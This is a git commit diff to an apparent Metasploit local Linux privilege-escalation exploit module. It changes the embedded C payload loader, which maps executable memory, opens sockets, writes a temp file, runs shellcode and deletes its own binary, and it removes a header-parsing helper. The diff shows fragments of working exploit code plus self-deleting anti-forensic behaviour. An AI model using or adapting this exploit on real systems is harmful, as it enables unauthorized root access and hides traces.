Use a proper main signature with arguments

Allows us to `unlink(argv[0])`
bug/bundler_fix
James Lee 2013-10-09 17:20:46 -05:00
parent c251596f0b
commit 947925e3a3
2 changed files with 11 additions and 58 deletions

View File

@ -1,19 +0,0 @@
module Msf
module Exploit::Local::Unix
include Exploit::Local::CompileC
def unix_socket_h(metasm_exe)
[
"external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
].each do |fname|
cparser.parse(File.read(fname), fname)
end
end
end
end

View File

@ -76,16 +76,10 @@ class Metasploit4 < Msf::Exploit::Local
def exploit def exploit
sc = Metasm::ELF.new(@cpu) sc = Metasm::ELF.new(@cpu)
sc.parse %Q| sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__ #ifdef __ELF__
.section ".bss" rwx .section ".bss" rwx
.section ".text" rwx .section ".text" rwx
.entrypoint
#endif #endif
call main
;push eax
call exit
| |
# Set up the same include order as the bionic build system. # Set up the same include order as the bionic build system.
@ -117,39 +111,10 @@ class Metasploit4 < Msf::Exploit::Local
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
#include <errno.h> #include <errno.h>
/* #include <sys/socket.h>
OpenBSD's strcmp from string/strcmp.c in bionic #include <string.h>
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|) |)
[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end
print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc) current_task_struct_h(sc)
case target.arch.first case target.arch.first
@ -259,7 +224,7 @@ SHELLCODE
int shellcode_size = 0; int shellcode_size = 0;
int main() { int main(int argc, char **argv) {
int i = 0; int i = 0;
int d; int d;
int in_fd, out_fd; int in_fd, out_fd;
@ -267,6 +232,9 @@ int main() {
char template[] = "/tmp/sendfile.XXXXXX"; char template[] = "/tmp/sendfile.XXXXXX";
int (*func)(); int (*func)();
printf("argv[0] = %s\n", argv[0]);
unlink(argv[0]);
uid = getuid(), gid = getgid(); uid = getuid(), gid = getgid();
mapped = mmap(NULL , 0x1000, mapped = mmap(NULL , 0x1000,
@ -299,10 +267,11 @@ int main() {
break; break;
} }
if (out_fd < 0) { if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno); perror("socket");
exit(1); exit(1);
} }
} }
unlink(template); unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now // Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777); in_fd = open(template, O_CREAT | O_RDWR, 0777);
@ -345,6 +314,8 @@ int main() {
end end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c") cparser.parse(main, "main.c")
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile asm = cpu.new_ccompiler(cparser, sc).compile
@ -352,6 +323,7 @@ int main() {
end end
sc.assemble sc.assemble
sc.c_set_default_entrypoint
begin begin
if sc.kind_of? Metasm::ELF if sc.kind_of? Metasm::ELF